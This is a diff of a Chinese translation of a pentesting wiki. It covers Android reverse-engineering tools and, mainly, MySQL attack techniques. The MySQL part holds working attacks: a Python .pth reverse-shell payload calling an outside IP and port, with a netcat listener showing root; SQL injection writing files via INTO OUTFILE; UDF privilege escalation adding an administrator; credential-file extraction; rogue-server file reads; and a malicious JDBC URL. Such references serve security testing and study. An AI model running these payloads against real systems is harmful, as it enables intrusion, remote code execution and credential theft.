检测是通过对应用的 Dalvik bytecode(以 **Smali** 表示)进行 **static analysis**,并使用 [`androguard`](https://github.com/androguard/androguard) 库来实现。
 | 
			
		||||
检测是通过对应用的 Dalvik bytecode(以 **Smali** 表示)进行 **static analysis**,并使用 [`androguard`](https://github.com/androguard/androguard) 库来完成的。
 | 
			
		||||
 | 
			
		||||
该工具寻找类似以下的 **common behavior of "bad" applications**:Telephony identifiers exfiltration、Audio/video flow interception、PIM data modification、Arbitrary code execution...
 | 
			
		||||
该工具查找 **“坏”应用的常见行为**,例如:Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
 | 
			
		||||
```
 | 
			
		||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 | 
			
		||||
```
 | 
			
		||||
@ -740,75 +742,75 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
**MARA** 是一个 Mobile Application Reverse engineering and Analysis Framework。它将常用的移动应用逆向工程和分析工具整合在一起,帮助针对 OWASP 移动安全威胁对移动应用进行测试。其目标是让这项工作对移动应用开发者和安全专业人员更简单、更友好。
 | 
			
		||||
**MARA** 是一个 **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework。它将常用的移动应用逆向与分析工具整合在一起,帮助针对 OWASP mobile security threats 测试移动应用。其目标是让这项工作对移动应用开发者和安全专业人员更简单、更友好。
 | 
			
		||||
 | 
			
		||||
它能够:
 | 
			
		||||
它可以:
 | 
			
		||||
 | 
			
		||||
- 使用不同工具提取 Java 和 Smali 代码
 | 
			
		||||
- 使用不同的工具提取 Java 和 Smali 代码
 | 
			
		||||
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
 | 
			
		||||
- 使用正则表达式从 APK 中提取敏感信息。
 | 
			
		||||
- 使用 regexp 从 APK 中提取私有信息。
 | 
			
		||||
- 分析 Manifest。
 | 
			
		||||
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
 | 
			
		||||
- 通过 [apk-deguard.com](http://www.apk-deguard.com) 进行 APK 反混淆
 | 
			
		||||
- 通过 [apk-deguard.com](http://www.apk-deguard.com) 进行 Deobfuscate APK
 | 
			
		||||
 | 
			
		||||
### Koodous
 | 
			
		||||
 | 
			
		||||
用于检测恶意软件: [https://koodous.com/](https://koodous.com/)
 | 
			
		||||
Useful to detect malware: [https://koodous.com/](https://koodous.com/)
 | 
			
		||||
 | 
			
		||||
## 代码混淆/反混淆
 | 
			
		||||
## Obfuscating/Deobfuscating code
 | 
			
		||||
 | 
			
		||||
注意:根据用于混淆代码的服务和配置不同,敏感信息可能被混淆,也可能未被混淆。
 | 
			
		||||
注意,取决于你用来混淆代码的服务和配置,Secrets 可能会被混淆,也可能不会被混淆。
 | 
			
		||||
 | 
			
		||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 | 
			
		||||
 | 
			
		||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化并混淆 Java 代码。它能够优化字节码并检测和移除未使用的指令。ProGuard 是自由软件,依据 GNU General Public License 第2版分发。
 | 
			
		||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于压缩、优化和混淆 Java 代码。它能够优化字节码并检测和移除未使用的指令。ProGuard 是自由软件,按照 GNU General Public License 第2版发布。
 | 
			
		||||
 | 
			
		||||
ProGuard 随 Android SDK 一同分发,并在以 release 模式构建应用时运行。
 | 
			
		||||
ProGuard 随 Android SDK 一起分发,并在以 release 模式构建应用时运行。
 | 
			
		||||
 | 
			
		||||
### [DexGuard](https://www.guardsquare.com/dexguard)
 | 
			
		||||
 | 
			
		||||
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 可以找到一步步的 apk 反混淆指南。
 | 
			
		||||
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 | 
			
		||||
 | 
			
		||||
(摘自该指南)我们上次检查时,Dexguard 的运行模式是:
 | 
			
		||||
(From that guide) 上一次我们检查时,Dexguard 的运行模式是:
 | 
			
		||||
 | 
			
		||||
- 将资源加载为 InputStream;
 | 
			
		||||
- 将结果传入继承自 FilterInputStream 的类以对其解密;
 | 
			
		||||
- 做一些无用的混淆以浪费逆向者的时间;
 | 
			
		||||
- 将解密后的结果传入 ZipInputStream 以获得 DEX 文件;
 | 
			
		||||
- 最后使用 `loadDex` 方法将生成的 DEX 作为资源加载。
 | 
			
		||||
- 将资源作为 InputStream 加载;
 | 
			
		||||
- 将结果传递给继承自 FilterInputStream 的类以进行解密;
 | 
			
		||||
- 做一些无用的混淆以浪费逆向人员几分钟的时间;
 | 
			
		||||
- 将解密后的结果传递给 ZipInputStream 以获取 DEX 文件;
 | 
			
		||||
- 最后使用 `loadDex` 方法将生成的 DEX 作为 Resource 加载。
 | 
			
		||||
 | 
			
		||||
### [DeGuard](http://apk-deguard.com)
 | 
			
		||||
 | 
			
		||||
**DeGuard 可逆转 Android 混淆工具执行的混淆过程。这使得多种安全分析成为可能,包括代码检查和库识别。**
 | 
			
		||||
**DeGuard 逆转了由 Android 混淆工具执行的混淆过程。这样可以进行许多安全分析,包括代码检查和库预测。**
 | 
			
		||||
 | 
			
		||||
你可以将混淆后的 APK 上传到他们的平台。
 | 
			
		||||
你可以将混淆的 APK 上传到他们的平台。
 | 
			
		||||
 | 
			
		||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 | 
			
		||||
 | 
			
		||||
这是一个用于发现 Android 应用潜在安全漏洞并对 Android 应用代码进行反混淆的 LLM 工具。使用 Google's Gemini public API。
 | 
			
		||||
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
 | 
			
		||||
 | 
			
		||||
### [Simplify](https://github.com/CalebFenton/simplify)
 | 
			
		||||
 | 
			
		||||
它是一个通用的 android 反混淆器。Simplify 通过“虚拟执行”应用来理解其行为,然后尝试优化代码,使其行为保持一致但更易于人工理解。每种优化类型都很简单且通用,因此所使用的具体混淆类型并不重要。
 | 
			
		||||
它是一个 **通用的 android deobfuscator。** Simplify **几乎是执行应用** 来理解其行为,然后 **尝试优化代码**,使其行为保持一致但更易于人类理解。每种优化类型都很简单且通用,所以不管使用了哪种具体的混淆方式,都能起作用。
 | 
			
		||||
 | 
			
		||||
### [APKiD](https://github.com/rednaga/APKiD)
 | 
			
		||||
 | 
			
		||||
APKiD 会告诉你 **APK 是如何构建的**。它能识别许多 **compilers**, **packers**, **obfuscators** 以及其他奇怪的东西。它是 Android 版的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
 | 
			
		||||
APKiD 会告诉你 **一个 APK 是如何构建的**。它能识别许多 **compilers**, **packers**, **obfuscators** 以及其他奇怪的东西。它是 Android 的 [_PEiD_]。
 | 
			
		||||
 | 
			
		||||
### Manual
 | 
			
		||||
 | 
			
		||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
 | 
			
		||||
 | 
			
		||||
## 实验
 | 
			
		||||
## Labs
 | 
			
		||||
 | 
			
		||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
 | 
			
		||||
 | 
			
		||||
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全爱好者和研究者的最新框架、教程和用于逆向工程与恶意软件分析的实验。
 | 
			
		||||
AndroL4b 是一个基于 ubuntu-mate 的 Android security 虚拟机,包含来自不同安全极客和研究人员的最新 framework、tutorials 和 labs,用于 reverse engineering 和 malware analysis。
 | 
			
		||||
 | 
			
		||||
## 参考资料
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
 | 
			
		||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很棒的资源列表
 | 
			
		||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 它是一个很好的资源列表
 | 
			
		||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android 快速课程
 | 
			
		||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
 | 
			
		||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
 | 
			
		||||
@ -817,7 +819,7 @@ AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自
 | 
			
		||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
 | 
			
		||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
 | 
			
		||||
 | 
			
		||||
## 有待尝试
 | 
			
		||||
## Yet to try
 | 
			
		||||
 | 
			
		||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
 | 
			
		||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## **基本信息**
 | 
			
		||||
 | 
			
		||||
**MySQL** 可以被描述为一个开源的 **Relational Database Management System (RDBMS)**,可免费使用。它基于 **Structured Query Language (SQL)** 运行,能够对数据库进行管理和操作。
 | 
			
		||||
**MySQL** 可以被描述为一个开源的 **Relational Database Management System (RDBMS)**,可免费使用。它使用 **Structured Query Language (SQL)**,用于数据库的管理和操作。
 | 
			
		||||
 | 
			
		||||
**默认端口:** 3306
 | 
			
		||||
```
 | 
			
		||||
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
 | 
			
		||||
```
 | 
			
		||||
## 外部枚举
 | 
			
		||||
 | 
			
		||||
某些枚举操作需要有效凭证
 | 
			
		||||
某些枚举操作需要有效凭据
 | 
			
		||||
```bash
 | 
			
		||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
 | 
			
		||||
msf> use auxiliary/scanner/mysql/mysql_version
 | 
			
		||||
@ -101,77 +101,76 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
 | 
			
		||||
#@ Functions not from sys. db
 | 
			
		||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
 | 
			
		||||
```
 | 
			
		||||
你可以在文档中查看每个权限的含义:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
 | 
			
		||||
你可以在文档中查看每个权限的含义: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
 | 
			
		||||
 | 
			
		||||
### MySQL 文件 RCE
 | 
			
		||||
### MySQL File RCE
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
#### INTO OUTFILE → Python `.pth` RCE (特定站点的配置钩子)
 | 
			
		||||
#### INTO OUTFILE → Python `.pth` RCE (site.py 特定的配置钩子)
 | 
			
		||||
 | 
			
		||||
滥用经典的 `INTO OUTFILE` 原语,可以在之后运行 **Python** 脚本的目标上获得*任意代码执行*。
 | 
			
		||||
滥用经典的 `INTO OUTFILE` 原语,可以在以后运行 **Python** 脚本的目标上获得 *arbitrary code execution*。
 | 
			
		||||
 | 
			
		||||
1. 使用 `INTO OUTFILE` 将自定义 **`.pth`** 文件写入由 `site.py` 自动加载的任意目录(例如 `.../lib/python3.10/site-packages/`)。
 | 
			
		||||
2. `.pth` 文件可以包含以 `import ` 开头的*单行*,后跟任意 Python 代码,解释器每次启动时都会执行该代码。
 | 
			
		||||
3. 当解释器被 CGI 脚本隐式执行时(例如带有 shebang `#!/bin/python` 的 `/cgi-bin/ml-draw.py`),payload 会以与 Web 服务器进程相同的权限执行(FortiWeb 将其作为 **root** 运行 → 完整的 pre-auth RCE)。
 | 
			
		||||
1. 使用 `INTO OUTFILE` 将自定义 **`.pth`** 文件写入 `site.py` 自动加载的任意目录(例如 `.../lib/python3.10/site-packages/`)。
 | 
			
		||||
2. `.pth` 文件可以包含 *单行*,以 `import ` 开头,后面跟任意 Python 代码,该代码会在解释器每次启动时执行。
 | 
			
		||||
3. 当解释器被 CGI 脚本隐式执行时(例如有 shebang `#!/bin/python` 的 `/cgi-bin/ml-draw.py`),payload 会以与 web-server 进程相同的权限执行(FortiWeb 将其作为 **root** 运行 → 完整的 pre-auth RCE)。
 | 
			
		||||
 | 
			
		||||
示例 `.pth` payload(单行,最终的 SQL payload 中不能包含空格,因此可能需要使用 hex/`UNHEX()` 或字符串拼接):
 | 
			
		||||
```python
 | 
			
		||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
 | 
			
		||||
```
 | 
			
		||||
通过 **UNION** 查询构造文件的示例(将空格字符替换为 `/**/` 以绕过 `sscanf("%128s")` 的空格过滤并将总长度保持在 ≤128 字节):
 | 
			
		||||
通过一个 **UNION** 查询制作文件的示例(将空格字符替换为 `/**/`,以绕过 `sscanf("%128s")` 的空格过滤并保持总长度 ≤128 字节):
 | 
			
		||||
```sql
 | 
			
		||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
 | 
			
		||||
```
 | 
			
		||||
重要限制与绕过:
 | 
			
		||||
 | 
			
		||||
* `INTO OUTFILE` **不能覆盖** 已存在的文件;请选择一个新的文件名。
 | 
			
		||||
* 文件路径是 **relative to MySQL’s CWD** 解析的,因此在前面加 `../../` 有助于缩短路径并绕过绝对路径限制。
 | 
			
		||||
* 如果攻击者输入是通过 `%128s`(或类似)提取的,任何空格都会截断载荷;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替代空格。
 | 
			
		||||
* 执行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,从而几乎在任何地方都有写入权限。
 | 
			
		||||
* `INTO OUTFILE` **无法覆盖** 已存在的文件;请选择新的文件名。
 | 
			
		||||
* 文件路径是按 **relative to MySQL’s CWD** 解析的,因此在前面加上 `../../` 可以缩短路径并绕过绝对路径限制。
 | 
			
		||||
* 如果攻击者输入是通过 `%128s`(或类似方式)提取的,任何空格都会截断载荷;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替代空格。
 | 
			
		||||
* 执行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,从而几乎在任意位置都有写入权限。
 | 
			
		||||
 | 
			
		||||
在写入 `.pth` 后,只需请求任何由 python 解释器处理的 CGI 即可获得代码执行:
 | 
			
		||||
写入 `.pth` 后,只需请求任何由 python 解释器处理的 CGI 即可获得代码执行:
 | 
			
		||||
```
 | 
			
		||||
GET /cgi-bin/ml-draw.py HTTP/1.1
 | 
			
		||||
Host: <target>
 | 
			
		||||
```
 | 
			
		||||
Python 进程会自动导入恶意的 `.pth` 并执行 shell payload。
 | 
			
		||||
Python 进程会自动导入恶意 `.pth` 并执行 shell payload。
 | 
			
		||||
```
 | 
			
		||||
# Attacker
 | 
			
		||||
$ nc -lvnp 4444
 | 
			
		||||
id
 | 
			
		||||
uid=0(root) gid=0(root) groups=0(root)
 | 
			
		||||
```
 | 
			
		||||
## MySQL 通过客户端任意读取文件
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
实际上,当你尝试使用 **load data local into a table** 将 **文件的内容** 导入表时,MySQL 或 MariaDB 服务器会要求 **客户端读取该文件** 并发送内容。**因此,如果你能篡改一个 mysql 客户端,使其连接到你自己的 MySQL 服务器,就可以读取任意文件。**\
 | 
			
		||||
Please notice that this is the behaviour using:
 | 
			
		||||
## MySQL arbitrary read file by client
 | 
			
		||||
 | 
			
		||||
实际上,当你尝试 **load data local into a table** 将 **文件的内容** 导入表时,MySQL 或 MariaDB 服务器会要求 **客户端读取该文件** 并发送内容。**因此,如果你能篡改一个 mysql client 使其连接到你自己的 MySQL 服务器,就可以读取任意文件。**\
 | 
			
		||||
请注意,这是在使用以下方式时的行为:
 | 
			
		||||
```bash
 | 
			
		||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 | 
			
		||||
```
 | 
			
		||||
(注意 "local" 这个词)\
 | 
			
		||||
因为没有 "local" 你可能会得到:
 | 
			
		||||
(注意 "local" 这个词)\ 因为没有 "local" 你可能会得到:
 | 
			
		||||
```bash
 | 
			
		||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 | 
			
		||||
 | 
			
		||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 | 
			
		||||
```
 | 
			
		||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
 | 
			
		||||
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
 | 
			
		||||
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
 | 
			
		||||
**初始 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
 | 
			
		||||
**在这篇论文中你可以看到对该攻击的完整描述,甚至如何将其扩展为 RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
 | 
			
		||||
**这里可以找到该攻击的概述:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## POST
 | 
			
		||||
 | 
			
		||||
### Mysql 用户
 | 
			
		||||
 | 
			
		||||
如果 mysql 以 **root** 身份运行,将会非常有趣:
 | 
			
		||||
如果 mysql 以 **root** 身份运行,会非常有趣:
 | 
			
		||||
```bash
 | 
			
		||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
 | 
			
		||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
 | 
			
		||||
@ -180,14 +179,14 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
 | 
			
		||||
 | 
			
		||||
在 MySQL 服务的配置中,使用了多种设置来定义其运行和安全措施:
 | 
			
		||||
 | 
			
		||||
- **`user`** 设置用于指定 MySQL 服务将以哪个用户身份运行。
 | 
			
		||||
- **`user`** 设置用于指定运行 MySQL 服务的用户。
 | 
			
		||||
- **`password`** 用于为 MySQL 用户设置密码。
 | 
			
		||||
- **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
 | 
			
		||||
- **`debug`** 变量表示当前的调试配置,可能会将敏感信息写入日志。
 | 
			
		||||
- **`sql_warnings`** 控制在单行 INSERT 语句出现警告时是否生成信息字符串,可能导致敏感数据出现在日志中。
 | 
			
		||||
- 通过 **`secure_file_priv`** 可限制数据导入导出的范围以增强安全性。
 | 
			
		||||
- **`debug`** 变量表示当前的调试配置,可能在日志中包含敏感信息。
 | 
			
		||||
- **`sql_warnings`** 控制当出现警告时是否为单行 INSERT 语句生成信息字符串,这可能会在日志中包含敏感数据。
 | 
			
		||||
- **`secure_file_priv`** 用于限制数据导入导出的范围以增强安全性。
 | 
			
		||||
 | 
			
		||||
### Privilege escalation
 | 
			
		||||
### 权限提升
 | 
			
		||||
```bash
 | 
			
		||||
# Get current user (an all users) privileges and hashes
 | 
			
		||||
use mysql;
 | 
			
		||||
@ -205,18 +204,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
 | 
			
		||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
 | 
			
		||||
\! sh
 | 
			
		||||
```
 | 
			
		||||
### 通过库的权限提升
 | 
			
		||||
### Privilege Escalation via library
 | 
			
		||||
 | 
			
		||||
如果 **mysql server is running as root**(或以其他更高权限的用户运行),你可以让它执行命令。为此,你需要使用 **user defined functions**。而要创建 user defined,你需要一个适用于运行 mysql 的操作系统的 **library**。
 | 
			
		||||
如果 **mysql server 正以 root**(或以其他更高权限的用户)运行,你可以让它执行命令。为此,你需要使用 **user defined functions**。要创建 user defined functions,你需要为运行 mysql 的 OS 提供一个 **library**。
 | 
			
		||||
 | 
			
		||||
可用的恶意库可以在 sqlmap 和 metasploit 中找到,方法是执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 的,选择你需要的那个。
 | 
			
		||||
要使用的恶意 library 可以在 sqlmap 和 metasploit 中找到,方法是执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** libraries,**`.dll`** 则是 **Windows** 的,选择你需要的那个。
 | 
			
		||||
 | 
			
		||||
如果你 **没有** 那些库,你可以 **寻找它们**,或者下载这个 [**linux C code**](https://www.exploit-db.com/exploits/1518) 并在 **linux vulnerable machine** 中 **编译它**:
 | 
			
		||||
如果你 **don't have** 这些 libraries,你可以尝试去 **look for them**,或者下载这个 [**linux C code**](https://www.exploit-db.com/exploits/1518) 并在易受攻击的 linux 机器上 **compile it inside the linux vulnerable machine**:
 | 
			
		||||
```bash
 | 
			
		||||
gcc -g -c raptor_udf2.c
 | 
			
		||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 | 
			
		||||
```
 | 
			
		||||
现在你已经拿到该库,以特权用户(root?)登录到 Mysql,并按照以下步骤操作:
 | 
			
		||||
现在你已经有了该库,以特权用户(root?)登录到 Mysql 并按照以下步骤操作:
 | 
			
		||||
 | 
			
		||||
#### Linux
 | 
			
		||||
```sql
 | 
			
		||||
@ -252,22 +251,22 @@ SELECT sys_exec("net localgroup Administrators npn /add");
 | 
			
		||||
```
 | 
			
		||||
#### Windows 提示:通过 SQL 使用 NTFS ADS 创建目录
 | 
			
		||||
 | 
			
		||||
在 NTFS 上,即使只有文件写入原语,也可以利用 alternate data stream 强制创建目录。如果经典的 UDF 链需要 `plugin` 目录,但该目录不存在且 `@@plugin_dir` 未知或被锁定,你可以先使用 `::$INDEX_ALLOCATION` 创建它:
 | 
			
		||||
在 NTFS 上,即使只有文件写入原语,也可以利用 alternate data stream 强制创建目录。如果经典的 UDF 链期望 `plugin` 目录存在,但该目录不存在且 `@@plugin_dir` 未知或被锁定,你可以先使用 `::$INDEX_ALLOCATION` 创建它:
 | 
			
		||||
```sql
 | 
			
		||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
 | 
			
		||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
 | 
			
		||||
```
 | 
			
		||||
这会将受限的 `SELECT ... INTO OUTFILE` 在 Windows 堆栈上转变为更完整的原语,通过搭建 UDF drops 所需的文件夹结构。
 | 
			
		||||
这会通过引导用于 UDF drops 的文件夹结构,将有限的 `SELECT ... INTO OUTFILE` 转变为在 Windows 堆栈上更完整的原语。
 | 
			
		||||
 | 
			
		||||
### 从文件中提取 MySQL 凭据
 | 
			
		||||
 | 
			
		||||
在 _/etc/mysql/debian.cnf_ 中可以找到用户 **debian-sys-maint** 的**明文密码**。
 | 
			
		||||
在 _/etc/mysql/debian.cnf_ 中可以找到用户 **debian-sys-maint** 的 **明文密码**。
 | 
			
		||||
```bash
 | 
			
		||||
cat /etc/mysql/debian.cnf
 | 
			
		||||
```
 | 
			
		||||
你可以 **使用这些凭据登录 mysql 数据库**。
 | 
			
		||||
 | 
			
		||||
在文件: _/var/lib/mysql/mysql/user.MYD_ 中你可以找到 **所有 MySQL users 的 hashes**(这些是你可以从数据库内部的 mysql.user 提取出的那些)_._
 | 
			
		||||
Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **所有 MySQL 用户的 hashes**(这些可以从 mysql.user(数据库中)提取)_._
 | 
			
		||||
 | 
			
		||||
你可以通过以下方式提取它们:
 | 
			
		||||
```bash
 | 
			
		||||
@ -275,7 +274,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
 | 
			
		||||
```
 | 
			
		||||
### 启用日志记录
 | 
			
		||||
 | 
			
		||||
你可以在 `/etc/mysql/my.cnf` 中取消注释以下行以启用 mysql 查询的日志记录:
 | 
			
		||||
你可以在 `/etc/mysql/my.cnf` 中通过取消注释以下行来启用 mysql 查询的日志记录:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -656,34 +655,34 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
 | 
			
		||||
```
 | 
			
		||||
## 2023-2025 亮点(新)
 | 
			
		||||
 | 
			
		||||
### JDBC `propertiesTransform` deserialization(CVE-2023-21971)
 | 
			
		||||
在 Connector/J <= 8.0.32 中,如果攻击者能够影响 **JDBC URL**(例如在要求连接字符串的第三方软件中),则可以通过 `propertiesTransform` 参数请求在*客户端*加载任意类。如果类路径上存在可加载的 gadget,这将导致 **remote code execution in the context of the JDBC client**(pre-auth,因为不需要有效 credentials)。一个最小的 PoC 如下:
 | 
			
		||||
### JDBC `propertiesTransform` 反序列化 (CVE-2023-21971)
 | 
			
		||||
从 Connector/J <= 8.0.32 起,攻击者如果能够影响 **JDBC URL**(例如在要求提供连接字符串的第三方软件中),可以通过 `propertiesTransform` 参数在*client*端请求加载任意类。如果 class-path 上存在可加载的 gadget,这将导致 **remote code execution in the context of the JDBC client**(pre-auth,因为不需要有效凭据)。一个最小的 PoC 如下:
 | 
			
		||||
```java
 | 
			
		||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
 | 
			
		||||
```
 | 
			
		||||
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
 | 
			
		||||
(See Snyk write-up for details)
 | 
			
		||||
(详见 Snyk 报告)
 | 
			
		||||
 | 
			
		||||
### 针对 JDBC 客户端 的 Rogue / Fake MySQL 服务器 攻击
 | 
			
		||||
若干开源工具实现了部分 MySQL 协议,以攻击向外连接的 JDBC 客户端:
 | 
			
		||||
### 恶意/伪造 MySQL 服务器对 JDBC 客户端的攻击
 | 
			
		||||
Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards:
 | 
			
		||||
 | 
			
		||||
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
 | 
			
		||||
* **rogue_mysql_server** (Python, similar capabilities)
 | 
			
		||||
 | 
			
		||||
典型攻击路径:
 | 
			
		||||
 | 
			
		||||
1. 受害应用加载 `mysql-connector-j`,并设置 `allowLoadLocalInfile=true` 或 `autoDeserialize=true`。
 | 
			
		||||
2. 攻击者控制 DNS / host 条目,使数据库的主机名解析到其控制的机器上。
 | 
			
		||||
3. 恶意服务器用精心构造的数据包响应,触发 `LOCAL INFILE` 任意文件读取 或 Java deserialization → RCE。
 | 
			
		||||
1. 受害应用加载 `mysql-connector-j` 并设置 `allowLoadLocalInfile=true` 或 `autoDeserialize=true`。
 | 
			
		||||
2. 攻击者控制 DNS / host 条目,使数据库的主机名解析到受其控制的机器。
 | 
			
		||||
3. 恶意服务器以精心构造的数据包响应,触发 `LOCAL INFILE` 任意文件读取或 Java deserialization → RCE。
 | 
			
		||||
 | 
			
		||||
Example one-liner to start a fake server (Java):
 | 
			
		||||
```bash
 | 
			
		||||
java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
 | 
			
		||||
```
 | 
			
		||||
然后将目标应用指向 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`,并通过在 *username* 字段中将文件名以 base64 编码来读取 `/etc/passwd`(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
 | 
			
		||||
然后将受害应用指向 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`,并通过在 *用户名* 字段中将文件名编码为 base64 来读取 `/etc/passwd`(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
 | 
			
		||||
 | 
			
		||||
### Cracking `caching_sha2_password` hashes
 | 
			
		||||
MySQL ≥ 8.0 将密码哈希以 **`$mysql-sha2$`**(SHA-256)存储。Hashcat (mode **21100**) 和 John-the-Ripper (`--format=mysql-sha2`) 自 2023 年起支持 offline cracking。导出 `authentication_string` 列并直接喂入:
 | 
			
		||||
### 破解 `caching_sha2_password` 哈希
 | 
			
		||||
